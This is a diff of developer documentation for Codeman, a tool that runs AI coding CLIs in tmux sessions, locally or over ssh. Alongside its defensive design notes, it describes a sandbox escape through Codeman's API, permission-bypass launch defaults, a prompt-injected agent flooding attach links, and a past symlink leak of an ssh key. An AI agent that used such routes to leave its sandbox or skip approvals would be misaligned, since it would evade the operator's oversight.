- `modelId` (`name:tag`), `modelLabel`, `license`, `paramsB` (parameters in billions), `context` (tokens);
- `cli`, `cliLabel`, `cliInstalled` (`false`: the CLI is not on this machine yet but can be installed without administrator rights), `slowFirstTurn?`;
- `needBytes` and `needGb` (memory the model needs at that context), `downloadBytes` and `downloadGb`, `budgetShare` (need divided by `budgetBytes`, rounded to three decimals);
- `fit`: `good` (up to 0.85 of the budget) or `tight` (up to 0.98), with its label `fitLabel`;
- `speed`: `ok`, `slow` (under 10 tokens per second) or `unknown`, with `speedLabel` (absent for `ok`) and `tokensPerSecond` (rounded to one decimal, absent for `unknown`; `speed` is decided on the unrounded figure, so `10` can be `slow`). `unknown` means the chip is in no row of the catalogue's chip table, or the catalogue has no speed figure for the model: a speed is never guessed;
- `tested`: we ran this model with this CLI on a Mac like this one. No catalogue row has such an entry yet, so it is `false` today.
- `budgetBytes` and `budgetGb`: the memory a model may use on this Mac (`0` for `not-macos` and `intel`, where none is computed). `budgetSource` is `wired-limit` (taken from `iogpu.wired_limit_mb`) or `estimated` (computed from the installed memory).
- `catalogUpdated`: ISO date on which the catalogue's rows were last checked.
Every computed size a person reads travels twice: as bytes, and as decimal GB text without the unit (`"needGb": "29.6"`). Show the text and add the unit; do not divide the bytes yourself, so one request never shows two different roundings. The installed memory is the exception named above: show `memClassGb`.
## Voice dictation
Browser dictation transcribed through this server's Claude Code login, i.e. the
+124 -21
View File
@@ -41,7 +41,7 @@ Pure helpers unit-tested in `test/base-path.test.ts` + `test/webview-proxy.test.
### External CLI modes (OpenCode, Codex, Gemini, Antigravity, Pi, Grok, DeepSeek, OMP)
**External CLI modes (OpenCode, Codex, Gemini, Antigravity, Pi, Grok, DeepSeek, OMP)**: `isExternalCliMode()` in `session.ts` (`mode === 'opencode' || 'codex' || 'gemini' || 'antigravity' || 'pi' || 'grok' || 'deepseek'`) gates Claude-specific behavior — Ralph tracker, BashToolParser, token/CLI-info parsing, and ❯-prompt readiness detection are all skipped (these CLIs render their own TUIs; readiness = output stabilization instead). ⚠️ **Work detection left this gate in #385** and is now per-CLI `capabilities.workDetect` data (`promptGlyph` + `workingLine`), because gating it on the mode left every Codex session reporting `idle` for its entire life; a CLI declaring neither falls back to Claude's pair, which is logic-identical to the pre-registry behaviour. All seven modes **require tmux — no direct PTY fallback** — because secrets are injected via `tmux setenv` (socket-scoped `${this.tmux()} setenv`, never on the spawn command line): OpenCode gets `OPENCODE_CONFIG_CONTENT` etc., Codex gets `OPENAI_API_KEY`/`CODEX_API_KEY`/`CODEX_HOME` (`setCodexEnvVars`), Gemini gets `GEMINI_API_KEY`/`GOOGLE_API_KEY`/`GOOGLE_CLOUD_PROJECT`/`GOOGLE_APPLICATION_CREDENTIALS`/`GOOGLE_GENAI_USE_VERTEXAI` etc. (`setGeminiEnvVars`, all in `tmux-manager.ts`). Codex specifics: command built by `buildCodexCommand()` (`--model`, `--config model_reasoning_effort=<level>` from `reasoningEffort`, `--config tui.animations=<bool>` from `animations`, `resume <id>`, `--dangerously-bypass-approvals-and-sandbox` from the `codexConfig` payload / `codexDangerouslyBypassApprovals` app setting; `renderMode` is schema-coerced to `'hybrid'`, the only supported mode). Gemini specifics: command built by `buildGeminiCommand()` (`--skip-trust` always, `--approval-mode <default|auto_edit|yolo|plan>` defaulting to `yolo` for parity with Claude's `--dangerously-skip-permissions`, `--model`, `--resume` from the `geminiConfig` payload); availability via `GET /api/gemini/status` — session/quick-start routes fail with `OPERATION_FAILED` + install hint (`npm install -g @google/gemini-cli`) when missing. Codex, Gemini, Antigravity, Pi, Grok, DeepSeek and OMP export `COLORTERM=truecolor` and unset `NO_COLOR`; `opencode` unsets `COLORTERM`. **Terminal colour env** under Session launch modes covers Claude and says which panes those declarations actually reach. Gemini joins `isAltScreenStripMode()` (Codex/Claude/Gemini are Ink TUIs that repaint inline → strip alt-screen/`3J` so scrollback survives). Codex availability via `GET /api/codex/status`. Antigravity specifics: command built by `buildAntigravityCommand()` (`--model`, `--conversation <id>` resume, `--dangerously-skip-permissions` from the `antigravityConfig` payload); availability via `GET /api/antigravity/status` — routes fail with `OPERATION_FAILED` + install hint (`curl -fsSL https://antigravity.google/cli/install.sh | bash`) when missing. Unlike the other three it is NOT an npm package (standalone binary, `~/.local/bin/agy`), which is why `docker/agent.Dockerfile` installs it with its own `--dir /usr/local/bin` step rather than in the `npm install -g` line, and why it does NOT join `isAltScreenStripMode()`. Frontend: run-mode dropdown → `runCodex()`/`runGemini()` in `session-ui.js` ("Run CX"/"Run GM" labels), App Settings → Agents & CLIs → Codex; Respawn/Ralph options are Claude-only, so session options open on the Session tab for external CLI sessions. ⚠️ `run*()` MUST unwrap the `{success,data}` envelope (`(await res.json()).data.available` / `data.data.sessionId`) — reading the raw shape silently breaks the run. Tests: `test/run-mode-ui.test.ts` + `test/gemini-mode.test.ts` (vm-sandbox harness, no real DOM). Grok specifics: command built by `buildGrokCommand()` (`--always-approve` from `grokConfig.alwaysApprove` — grok's `bypassPermissions` permission mode, deny rules still apply; `--model`; `--resume <id>` / `--continue`, id-regexed so grok's resume-by-TITLE feature can never put an arbitrary string on the spawn line); availability via `GET /api/grok/status`, which carries `version` because the resolver version-probes candidates (`grok` has npm squatters, e.g. @vibe-kit/grok-cli — `GROK_VERSION_REGEX` is shared with the dependency registry so doctor and run mode agree). Like antigravity it is a standalone binary (xAI installer → `~/.grok/bin`, symlinked into `~/.local/bin`), so `docker/agent.Dockerfile` installs it in its own step (copy to `/usr/local/bin`, drop root's `~/.grok` in the same layer) and it stays OUT of `isAltScreenStripMode()` (fullscreen alt-screen TUI with mouse support — the opencode case, which is now `isMuxMouseStripMode`, not the Ink case). Env allowlist: `GROK_*` plus the vendor namespace `XAI_*` (`XAI_API_KEY` is grok's documented headless auth var — the same narrow-vendor-namespace reasoning as `GOOGLE_*` for gemini). Docker cred seeding is per-file (`auth.json`, `config.toml`, `pager.toml` from `~/.grok` — the dir also holds `sessionsLine truncated
**External CLI modes (OpenCode, Codex, Gemini, Antigravity, Pi, Grok, DeepSeek, OMP)**: `isExternalCliMode()` in `session.ts` (`mode === 'opencode' || 'codex' || 'gemini' || 'antigravity' || 'pi' || 'grok' || 'deepseek'`) gates Claude-specific behavior — Ralph tracker, BashToolParser, token/CLI-info parsing, and ❯-prompt readiness detection are all skipped (these CLIs render their own TUIs; readiness = output stabilization instead). ⚠️ **Work detection left this gate in #385** and is now per-CLI `capabilities.workDetect` data (`promptGlyph` + `workingLine`), because gating it on the mode left every Codex session reporting `idle` for its entire life; a CLI declaring neither falls back to Claude's pair, which is logic-identical to the pre-registry behaviour. All seven modes **require tmux — no direct PTY fallback** — because secrets are injected via `tmux setenv` (socket-scoped `${this.tmux()} setenv`, never on the spawn command line): OpenCode gets `OPENCODE_CONFIG_CONTENT` etc., Codex gets `OPENAI_API_KEY`/`CODEX_API_KEY`/`CODEX_HOME` (`setCodexEnvVars`), Gemini gets `GEMINI_API_KEY`/`GOOGLE_API_KEY`/`GOOGLE_CLOUD_PROJECT`/`GOOGLE_APPLICATION_CREDENTIALS`/`GOOGLE_GENAI_USE_VERTEXAI` etc. (`setGeminiEnvVars`, all in `tmux-manager.ts`). Codex specifics: command built by `buildCodexCommand()` (`--no-daemon` behind the `noDaemonFlag` gate at 0.162.0, measured against codex's own version, local launches only; `--model`, `--config model_reasoning_effort=<level>` from `reasoningEffort`, `--config sandbox_workspace_write.network_access=true` from `networkAccess` (the **Allow network access** app setting `codexNetworkAccess`, a launch default and a privileged param; ⚠️ with it on, a command in codex's sandbox can call Codeman's API and start a session outside that sandbox, password or not), `--config tui.animations=<bool>` from `animations`, `resume <id>`, `--dangerously-bypass-approvals-and-sandbox` from the `codexConfig` payload / `codexDangerouslyBypassApprovals` app setting; `renderMode` is schema-coerced to `'hybrid'`, the only supported mode). Gemini specifics: command built by `buildGeminiCommand()` (`--skip-trust` always, `--approval-mode <default|auto_edit|yolo|plan>` defaulting to `yolo` for parity with Claude's `--dangerously-skip-permissions`, `--model`, `--resume` from the `geminiConfig` payload); availability via `GET /api/gemini/status` — session/quick-start routes fail with `OPERATION_FAILED` + install hint (`npm install -g @google/gemini-cli`) when missing. Codex, Gemini, Antigravity, Pi, Grok, DeepSeek and OMP export `COLORTERM=truecolor` and unset `NO_COLOR`; `opencode` unsets `COLORTERM`. **Terminal colour env** under Session launch modes covers Claude and says which panes those declarations actually reach. Gemini joins `isAltScreenStripMode()` (Codex/Claude/Gemini are Ink TUIs that repaint inline → strip alt-screen/`3J` so scrollback survives). Codex availability via `GET /api/codex/status`. Antigravity specifics: command built by `buildAntigravityCommand()` (`--model`, `--conversation <id>` resume, `--dangerously-skip-permissions` from the `antigravityConfig` payload); availability via `GET /api/antigravity/status` — routes fail with `OPERATION_FAILED` + install hint (`curl -fsSL https://antigravity.google/cli/install.sh | bash`) when missing. Unlike the other three it is NOT an npm package (standalone binary, `~/.local/bin/agy`), which is why `docker/agent.Dockerfile` installs it with its own `--dir /usr/local/bin` step rather than in the `npm install -g` line, and why it does NOT join `isAltScreenStripMode()`. Frontend: run-mode dropdown → `runCodex()`/`runGemini()` in `session-ui.js` ("Run CX"/"Run GM" labels), App Settings → Agents & CLIs → Codex; Respawn/Ralph options are Claude-only, so session options open on the Session tab for external CLI sessions. ⚠️ `run*()` MUST unwrap the `{success,data}` envelope (`(await res.json()).data.available` / `data.data.sessionId`) — reading the raw shape silently breaks the run. Tests: `test/run-mode-ui.test.ts` + `test/gemini-mode.test.ts` (vm-sandbox harness, no real DOM). Grok specifics: command built by `buildGrokCommand()` (`--always-approve` from `grokConfig.alwaysApprove` — grok's `bypassPermissions` permission mode, deny rules still apply; `--model`; `--resume <id>` / `--continue`, id-regexed so grok's resume-by-TITLE feature can never put an arbitrary string on the spawn line); availability via `GET /api/grok/status`, which carries `version` because the resolver version-probes candidates (`grok` has npm squatters, e.g. @vibe-kit/grok-cli — `GROK_VERSION_REGEX` is shared with the dependency registry so doctor and run mode agree). Like antigravity it is a standalone binary (xAI installer → `~/.grok/bin`, symlinked into `~/.local/bin`), so `docker/agent.Dockerfile` installs it in its own step (copy to `/usr/local/bin`, drop root's `~/.grok` in the same layer) and it stays OUT of `isAltScreenStripMode()` (fuLine truncated
**DeepSeek Harness (`dsh`) specifics** — the mode that breaks three of the assumptions the six above share, so read this before changing anything about it.
@@ -61,7 +61,7 @@ Pure helpers unit-tested in `test/base-path.test.ts` + `test/webview-proxy.test.
Model is NOT a session field: it is a composition entry in the profile's config tree (`agent-default-model`), configured in `~/.dsh/settings.yaml` + `cordis.patch.yml`, so both create paths deliberately resolve no model for this mode. Env allowlist: `DSH_*` + `DEEPSEEK_*`; provider keys named by a settings-file `apiKeyEnv` stay OUT, which is pi's 34-provider-key problem in a new shape and gets the same answer. Docker seeds `~/.dsh` per-file (`.env`, `settings.yaml`, `cordis.patch.yml`) and the image installs its OWN profile, because `profiles/` is a per-profile `node_modules` tree — host-arch-specific and far too large to copy per container start. Stays OUT of `isAltScreenStripMode()` (third-party fullscreen TUI — the opencode case, i.e. `isMuxMouseStripMode` is the shape to measure here too). ⚠️ `classifyProfile()` reads the profile's BUNDLES, and "unknown means launchable" is deliberate (anyone can publish an app bundle), but it has one knowably-wrong case: `readProfile()` returns an empty bundle list for a `package.json` with no `dsh.profile.bundles`, which made the SHIPPED `web`/`headless` profiles look third-party and launchable. The directory name is therefore consulted as a LAST resort (`STOCK_NON_INTERACTIVE_PROFILES`), after the bundle patterns, so real bundle evidence always wins over a name the user chose. The loose `tui` arm carries word boundaries for the same reason: it decides which profile boots by default, and matching the middle of `intuition` is not a rule anyone could predict. ⚠️ The generated shim is written **temp + rename**, not in place: the TUI can be exec'ing that exact path while an upgraded Codeman refreshes it, and a half-written file is a syntax error the caller then retries four times per state change forever. Bump `SHIM_VERSION` whenever `SHIM_SOURCE` changes, or an existing shim keeps matching the embedded marker and is never refreshed. Availability via `GET /api/deepseek/status`, the widest per-CLI status shape (`available`/`runnable`/`path`/`version`/`dshHome`/`defaultProfile`/`profiles`); `POST /api/deepseek/install-profile` bootstraps a profile and is the only endpoint in Codeman that installs third-party code — regex-confined specifier, argv-array spawn, privileged grant required in multi-user mode, and the held-open request is bounded by a HAND-ROLLED timeout over a `detached: true` process group (negative-pid SIGTERM→SIGKILL, as `runGit()` does in git-clone.ts). ⚠️ Node's own `spawn` `timeout` is NOT enough: a plugin install fans out into package-manager children, the built-in timeout signals only the direct child, and the survivors hold the inherited stdio pipes open so `close` never fires and the request leaks forever. User guide: `docs/deepseek-integration.md`. Tests: `test/deepseek-mode.test.ts`, `test/deepseek-cli-resolver.test.ts`.
**Pi specifics** (#206, `docs/pi-integration.md`): command built by `buildPiCommand()` (`--model` — the only builder whose model regex admits `:` and `/`, for `sonnet:high` and `openai/gpt-4o` — plus `--provider`, `--thinking`, `--session <id>` / `-c`, and the TRI-STATE `--approve`/`--no-approve`). ⚠️ **Pi has no permission prompts and no sandbox**, so there is no `--dangerously-skip-permissions` analog and Codeman must not invent one; the privilege-shaped knob is `approveProjectTrust`, which makes pi LOAD AND EXECUTE repo-local `.pi/extensions` TypeScript and npm-install missing project packages. It therefore joins `clampExternalCliBypassForOwner()`'s **materialize** branch (gemini's, not codex/antigravity's only-if-sent one): an absent config still yields `--no-approve` for a non-granted owner, because pi's own default is an interactive prompt the session user could answer themselves. ⚠️ `--api-key` is NEVER wired — it would put a provider secret on the spawn command line. ⚠️ Pi stays **out** of `isAltScreenStripMode()`: its default TUI renders into the main screen with terminal-owned scrollback (nothing to strip), and since 0.84.0 the user can flip to a fullscreen TUI at runtime via `/settings`, where the alt screen is load-bearing — being out of the list is exactly what makes that switch safe. ⚠️ Only the `PI_*` env prefix was added; pi's ~34 provider keys share no prefix and `ALLOWED_ENV_PREFIXES` is a single GLOBAL list with no mode context, so admitting them would widen the allowlist for every mode at once (a mode-aware allowlist is the tracked follow-up). ⚠️ `pi` is a short, GENERIC binary name, so unlike the sibling resolvers `pi-cli-resolver.ts` sanity-probes `pi --version` (cached, vitest-skipped) and requires semver-shaped output; `GET /api/pi/status` carries `version` on top of the sibling `{available, path}` shape so a misresolution is diagnosable. Local echo: pi lands on the `'buffer'` overlay via the fallthrough in `_updateLocalEchoState` (pinned in `test/local-echo-codex-gating.test.ts`); if pi's live composer turns out to fight it the way codex's did, the fallback is one `'off'` branch. Tests: `test/pi-mode.test.ts`, `test/routes/external-cli-bypass-clamp.test.ts` (first-ever coverage of the clamp).
**Pi specifics** (#206, `docs/pi-integration.md`): command built by `buildPiCommand()` (`--model` — the only builder whose model regex admits `:` and `/`, for `sonnet:high` and `openai/gpt-4o` — plus `--provider`, `--thinking`, `--session <id>` / `-c`, and the TRI-STATE `--approve`/`--no-approve`). ⚠️ **Pi has no permission prompts and no sandbox**, so there is no `--dangerously-skip-permissions` analog and Codeman must not invent one; the privilege-shaped knob is `approveProjectTrust`, which makes pi LOAD AND EXECUTE repo-local `.pi/extensions` TypeScript and npm-install missing project packages. It therefore joins `clampExternalCliBypassForOwner()`'s **materialize** branch (gemini's, not codex/antigravity's only-if-sent one): an absent config still yields `--no-approve` for a non-granted owner, because pi's own default is an interactive prompt the session user could answer themselves. ⚠️ `--api-key` is NEVER wired — it would put a provider secret on the spawn command line. ⚠️ Pi stays **out** of `isAltScreenStripMode()`: it takes the mouse strip instead, because its TUI is fullscreen by default since 1.0.0 (`tuiMode`) and inline with terminal-owned scrollback under `tuiMode: regular`, the default below 1.0.0, so the full strip's `3J` removal would have no owner in the second shape. See "Pi is the same shape" in the scrollback section. ⚠️ Only the `PI_*` env prefix was added; pi's ~34 provider keys share no prefix and `ALLOWED_ENV_PREFIXES` is a single GLOBAL list with no mode context, so admitting them would widen the allowlist for every mode at once (a mode-aware allowlist is the tracked follow-up). ⚠️ `pi` is a short, GENERIC binary name, so unlike the sibling resolvers `pi-cli-resolver.ts` sanity-probes `pi --version` (cached, vitest-skipped) and requires semver-shaped output; `GET /api/pi/status` carries `version` on top of the sibling `{available, path}` shape so a misresolution is diagnosable. Local echo: pi lands on the `'buffer'` overlay via the fallthrough in `_updateLocalEchoState` (pinned in `test/local-echo-codex-gating.test.ts`); if pi's live composer turns out to fight it the way codex's did, the fallback is one `'off'` branch. Tests: `test/pi-mode.test.ts`, `test/routes/external-cli-bypass-clamp.test.ts` (first-ever coverage of the clamp).
**OMP (`omp`, Oh My Pi) specifics** (`docs/omp-integration.md`): architecturally the simplest of the family — omp owns its own auth, provider routing, and trust decisions entirely in `~/.omp` config files (default `tools.approvalMode: yolo`), so `buildOmpCommand()` only ever emits `--model`/`--resume <id>`/`--continue`, and there is no bypass-permissions flag for Codeman to wire or clamp. ⚠️ **That does NOT make the multi-user clamp a no-op**: `OMP_*` is an allowlisted `envOverrides` prefix and admits `OMP_AUTH_BROKER_URL`/`OMP_AUTH_BROKER_TOKEN` (where omp resolves credentials from), both dropped for a non-granted owner in `clampEnvOverridesForOwner()` — the same shape as `DEEPSEEK_BASE_URL` — even though, unlike DeepSeek, Codeman forwards no operator-held key into an omp pane today (found in Ark0N/Codeman#353 review). `--continue` alone is ambiguous the moment any other omp conversation has touched the same working directory more recently, since it just picks the newest session file on disk — `resolveAndClaimOmpSessionId()` (`src/utils/omp-session-resolver.ts`) resolves and PINS the real id instead, verifying each candidate's own file header (`{"type":"session","id",cwd"}`, not just the mangled-directory match) and tracking already-claimed ids in a process-wide registry so two omp tabs in the same case dir can't alias onto each other's conversation. ⚠️ Resolution/pinning happens ONLY at the point a respawn is actually confirmed (`_pinOmpRespawnId()`, called from `_setupOrAttachMuxSession()`'s dead-pane branch and `reattachRemote()`) — earlier code resolved eagerly while merely building respawn options, which could mis-pin a still-ALIVE session's id purely from boot-recovery timing. `src/omp-transcript.ts` independently scans `~/.omp/agent/sessions/**/*.jsonl` for Past Sessions history, the omp analog of Claude's own transcript scan, so a conversation survives even a full "Kill Tmux". ⚠️ omp's own env knobs are mostly `PI_*`, not `OMP_*` (`PI_CONFIG_DIR`, `PI_CODING_AGENT_DIR`, `PI_CODING_AGENT_SESSION_DIR`, `PI_SUBPROCESS_CMD`, `PI_SHELL_PREFIX`), and `PI_*` is already allowlisted globally for pi — so a redirected `PI_CONFIG_DIR` silently moves the `~/.omp` tree the resolver and transcript scanner hardcode, degrading pinning/history with no error; a known gap shared with pi, not fixed here. ⚠️ Docker: `appendResumeFlag()`'s `case 'omp'` keys off the top-level `resumeSessionId`, which Docker panes never receive for omp (built from `defaultDockerCommandForMode`, with no `ompConfig` threaded through) — host-side history recovery and pinning work through the shared `sessions/` mount, but `--resume` does not currently reach an in-container omp process on respawn (flagged in review, not yet fixed). Stays out of `isAltScreenStripMode()` (narrow scrollback strip, alt-screen toggles only) and lands on the `'buffer'` local-echo policy via the `_updateLocalEchoState` fallthrough, same as grok and pi. Resolver: `omp-cli-resolver.ts` version-probes like pi/grok (`omp` is a short, generic name) and requires `omp/<semver>`-shaped output; `OMP_SEARCH_DIRS` leads with `~/.local/bin` (omp.sh's installer targets `$HOME/.local/bin` with no `--dir` override — verified against a real `--no-cache` Docker build, `~/.omp/bin` was the wrong first guess). Tests: `test/omp-mode.test.ts`, `test/omp-cli-resolver.test.ts`, `test/omp-session-resolver.test.ts`, `test/omp-fresh-run-no-resume.test.ts`.
@@ -81,20 +81,38 @@ OMP's registry entry declares `privilegedParams: []` and a launch spec that only
Further detail: ⚠️ **Auto-reconnect revives ONLY when the durable remote tmux session is verifiably still alive** (`remoteTmuxSessionAlive()`, a `has-session` probe over ssh, #355): a clean agent exit (Ctrl-C, Ctrl-D, `exit`) tears that session down, and `isPaneDead()` cannot tell it from a transport drop, so the watcher used to relaunch a FRESH agent after every clean exit (claude only looked fine because its `|| --resume` fallback masked it). An unreachable host answers `undefined`, which also means do not revive. ⚠️ `has-session` prints NOTHING on success, so the probe is classified by EXIT STATUS (`classifyRemoteAliveExit`: 0 alive, ssh's 255 or a timeout unknown, anything else gone); reading stdout classified every live session as gone and silently disabled transport-drop reconnects. The answer is cached per session and forgotten whenever the pane is seen alive again, or a stale `true` from one transport drop would revive the next clean exit.
File reads in a remote case are the second ssh surface (see Remote SSH cases below). The reason writes, office previews and thumbnails are deliberately unsupported over ssh is that no remote file is ever copied onto the server's disk. ssh children are bounded because terminal output in a remote session is written on the remote host, so a prompt-injected agent there can print hundreds of `codeman://attach` links. The third surface is a remote session's full-history load, which reads the scrollback from the remote tmux (`src/remote-pane-history.ts`) through the same limiter, with a bounded slot wait (`maxWaitMs`) since the local capture is its fallback.
⚠️ The image watcher never watches a remote session's `workingDir` (a path on the remote host, which it would watch on the LOCAL disk): every call site that starts a watch skips `session.remote` (`setupSessionListeners()`, the app-wide toggle in `PUT /api/settings`, and `POST /api/sessions/:id/image-watcher`, which refuses `enabled: true` with `INVALID_INPUT`), so a new call site must too. File reads in a remote case are the second ssh surface (see Remote SSH cases below). The reason writes, office previews and thumbnails are deliberately unsupported over ssh is that no remote file is ever copied onto the server's disk; the one exception is the Edit history store, which keeps the diffs parsed from a remote session's transcripts under `dataPath('edit-history')` (see [Edit history panel](#edit-history-panel)). ssh children are bounded because terminal output in a remote session is written on the remote host, so a prompt-injected agent there can print hundreds of `codeman://attach` links. The third surface is a remote session's full-history load, which reads the scrollback from the remote tmux (`src/remote-pane-history.ts`) through the same limiter, with a bounded slot wait (`maxWaitMs`) since the local capture is its fallback.
### Remote SSH cases
**Remote host wake-on-LAN from user input**: an optional `RemoteHost.wakeMac` (magic packet built and broadcast by Codeman) or `RemoteHost.wakeCommand` (a single executable path, run WITHOUT a shell, and the explicit override) lets the input route — and an explicit `POST /api/sessions/:id/wake` — wake a SLEEPING host instead of writing into a stalled ssh pane; `tmux send-keys` succeeds against a stalled pane, so the bytes used to vanish silently. The wake flow lives in `src/remote-wake.ts` and is reachable **only** from an EXPLICIT user request: `POST /api/sessions/:id/input`, that explicit wake route, and the create/attach path (`POST /api/quick-start` for a remote case, `POST /api/sessions` with `attachRemoteSession`, via `ensureHostAwake`), because "the user pressed Run on a sleeping host" is the same kind of request and the tmux probe would otherwise fail with a misleading "needs tmux installed". Everything TIMER-driven must never wake a host: the COD-108 auto-reconnect watcher, `Server.handleRemoteSessionDropped` and boot recovery have no access to the registry, or a host would be re-woken seconds after each suspend and could never stay asleep (asserted by wiring guards in `test/remote-wake.test.ts`, not just documented — including that `ensureHostAwake` is called from the HTTP route only, since `cron-service.ts` builds sessions through the shared service with nobody waiting on the answer). `GET /api/sessions/:id/reachability` only ASKS — it never wakes — and feeds the amber "host unreachable" banner (`host-wake-ui.js`) whose action is either Wake or, with no target configured, "Configure WoL" → `#wakeConfigModal` (saved via `PUT /api/remote-hosts/:id`). Detection is a throttled bare TCP probe (no ssh, no `ServerAliveInterval` — keepalives would move bytes into an idle connection every interval; and a host behind a jump host/SOCKS proxy is reachability-UNKNOWN, never "asleep": `isProbeable()` keeps the registry from buffering, gating or bannering on a probe that cannot reach it), input is buffered and flushed in order after `reattachRemote()` (the send-and-wait path blocks instead, as does the create path, with a shorter request budget), and the wake fields are re-read from `remote-hosts.json` on recovery AND (throttled, cached) live for a running session, because the persisted `remote` snapshot would never see a field added later (`rehydrateRemoteHostFields` + `RemoteWakeDeps.resolveRemote`). Design + invariants: `docs/remote-sessions.md` §Wake-on-LAN from user input.
**Remote SSH cases** (COD-94/#145): cases can point at a **remote host** (`~/.codeman/remote-hosts.json` + `remote-cases.json` via `src/remote-hosts.ts`; CRUD under `/api/cases` — cases route file). A remote session launches a LOCAL tmux pane running `ssh <host>` that creates a durable REMOTE tmux session on a **dedicated socket** `-L codeman-remote` with name `codeman-ssh-<id>` — deliberately failing the remote Codeman's `SAFE_MUX_NAME_PATTERN` so a Codeman instance on the target host never adopts it; no `-g` global tmux options are set remotely. `remotePath`/`identityFile` are schema-guarded against shell injection (backticks/`$` rejected — same approach as `extraSshOptions`); remote tmux availability is probed via `checkRemoteTmuxAvailable()` in quick-start (ssh args carry `-o ConnectTimeout=10`). Remote claude defaults to an idempotent `claude --session-id <id> || claude --resume <id>` pair under a login shell, so a respawn or reattach continues the SAME conversation rather than starting a fresh one (remote omp gets the same treatment via `--continue`; ⚠️ because the claude arm is an `a || b` pair under `-c`, that pane's PID is the login shell, not the agent); per-host `commands.*` override. Session kill best-effort kills the remote tmux too. `SessionState.remote`/`MuxSession.remote` round-trip through recovery (`restoreMuxSessions` passes `remote` back into the Session constructor). ⚠️ Run flows must route remote cases through `POST /api/quick-start` (which resolves the remote case and skips LOCAL CLI availability gates) — `POST /api/sessions` stat-validates `workingDir` locally and has no `caseName`. `envOverrides`/`effort`/`modelOverride`/`codexConfig`/`geminiConfig` are rejected for remote quick-starts (not silently dropped). UI: Create Case modal → Remote tab. Tests: `test/remote-hosts.test.ts`, `test/remote-ssh-options.test.ts`. ⚠️ **Reading a file in a remote case goes over ssh too** (#415): `src/remote-files.ts` is the single remote-READ layer (`buildRemoteFileCommand` = `buildSshConnectionArgs` + one shellescaped remote command; `remoteProbePaths` returns remote realpath + stat; `remoteCreateReadStream` streams a `Range` via `tail -c +N | head -c L` and its `close()` must be wired to the response's `close` or the ssh child outlives an aborted download). The guard order matches the local path exactly (`validateSessionFilePathLexical` → remote realpath of BOTH file and workspace root → containment → sensitive-path → size cap on the REMOTE size), a request path arrives from the browser and is only ever interpolated as a `shellescape`d token, and an unreachable host answers **502**, never a 404. ⚠️ The probe's symlink resolution FAILS CLOSED: `readlink -f` where it exists, otherwise a `cd -P`/`pwd -P` directory walk plus a bounded plain-`readlink` loop over the last component, and anything it cannot fully resolve is reported unresolvable (404), never as the unresolved string — the first version resolved the directory chain only, so on a host without `readlink -f` a `ws/notes.txt -> ~/.ssh/id_rsa` link passed containment under its own path while `cat` served the key. Records are NUL-separated and index-keyed so a newline in a filename cannot shift the mapping. ⚠️ ssh children are BOUNDED: probes and buffered reads go through `src/remote-ssh-limiter.ts` (a `document-conversion-limiter`-shaped semaphore, default 4), the attachment-history list probes its whole history in ONE batched call (`probeRemoteAttachmentHistory`, threaded into `registerExternalAttachment({remoteProbes})`), and probes chunk at 40 paths — a prompt-injected agent printing `codeman://attach` links in a remote session used to fork one `ssh` per link. `describeExecError` never returns Node's `Command failed: <ssh line>` message (identity path + probe script in a 502 body). The `PUT /file-content` guard sits AHEAD of `validateSessionFilePath`, which resolves LOCALLY, or a same-named local directory (an sshfs mount) takes the write. Under `VITEST` the three IO functions refuse rather than connect. This covers the ATTACHMENT routes too, which is the half a clicked path needs when the file is OUTSIDE the case directory (`_isExternalPreviewPath` sends it to `POST …/attachments`): registration, by-id `raw`, metadata and the history list all resolve over ssh (`registerExternalAttachment({remote})`, `resolveServableRemoteAttachment`), and what decides the host is the SESSION, never the path string — the same absolute path means a different file on each host. Deliberately NOT supported over ssh: writes (`edit=1`/`PUT` answer 400, `editable` is always false), office previews/thumbnails, the file tree/picker, `tail-file`. Tests: `test/remote-files.test.ts`, `test/routes/file-routes-remote.test.ts`.
**Remote SSH cases** (COD-94/#145): cases can point at a **remote host** (`~/.codeman/remote-hosts.json` + `remote-cases.json` via `src/remote-hosts.ts`; CRUD under `/api/cases`, cases route file). A remote session launches a LOCAL tmux pane running `ssh <host>` that creates a durable REMOTE tmux session on a **dedicated socket** `-L codeman-remote` with name `codeman-ssh-<id>`, deliberately failing the remote Codeman's `SAFE_MUX_NAME_PATTERN` so a Codeman instance on the target host never adopts it; no `-g` global tmux options are set remotely. `remotePath`/`identityFile` are schema-guarded against shell injection (backticks and `$` rejected; `extraSshOptions` refuses backticks and `$(` only, so a bare `$` passes there and reaches `ssh` as those literal characters); remote tmux availability is probed via `checkRemoteTmuxAvailable()` in quick-start (ssh args carry `-o ConnectTimeout=10`). Remote claude defaults to an idempotent `claude --session-id <id> || claude --resume <id>` pair under a login shell, so a respawn or reattach continues the SAME conversation rather than starting a fresh one (remote omp gets the same treatment via `--continue`; ⚠️ because the claude arm is an `a || b` pair under `-c`, that pane's PID is the login shell, not the agent); per-host `commands.*` override. Session kill best-effort kills the remote tmux too. `SessionState.remote`/`MuxSession.remote` round-trip through recovery (`restoreMuxSessions` passes `remote` back into the Session constructor). ⚠️ Run flows must route remote cases through `POST /api/quick-start` (which resolves the remote case and skips LOCAL CLI availability gates): `POST /api/sessions` stat-validates `workingDir` locally and has no `caseName`. `envOverrides`/`effort`/`modelOverride`/`codexConfig`/`geminiConfig` are rejected for remote quick-starts (not silently dropped). UI: Create Case modal → Remote tab. Tests: `test/remote-hosts.test.ts`, `test/remote-ssh-options.test.ts`. ⚠️ **Reading a file in a remote case goes over ssh too** (#415): `src/remote-files.ts` is the single remote-READ layer (`buildRemoteFileCommand` = `buildSshConnectionArgs` + one shellescaped remote command; `remoteProbePaths` returns remote realpath + stat; `remoteCreateReadStream` streams a `Range` via `tail -c +N | head -c L` and its `close()` must be wired to the response's `close` or the ssh child outlives an aborted download). The guard order matches the local path exactly (`validateSessionFilePathLexical` → remote realpath of BOTH file and workspace root → containment → sensitive-path → size cap on the REMOTE size), a request path arrives from the browser and is only ever interpolated as a `shellescape`d token, and an unreachable host answers **502**, never a 404. ⚠️ The probe's symlink resolution FAILS CLOSED: `readlink -f` where it exists, otherwise a `cd -P`/`pwd -P` directory walk plus a bounded plain-`readlink` loop over the last component, and anything it cannot fully resolve is reported unresolvable (404), never as the unresolved string: the first version resolved the directory chain only, so on a host without `readlink -f` a `ws/notes.txt -> ~/.ssh/id_rsa` link passed containment under its own path while `cat` served the key. Records are NUL-separated and index-keyed so a newline in a filename cannot shift the mapping. ⚠️ ssh children are BOUNDED: probes and buffered reads go through `src/remote-ssh-limiter.ts` (a `document-conversion-limiter`-shaped semaphore, default 4), the attachment-history list probes its whole history in ONE batched call (`probeRemoteAttachmentHistory`, 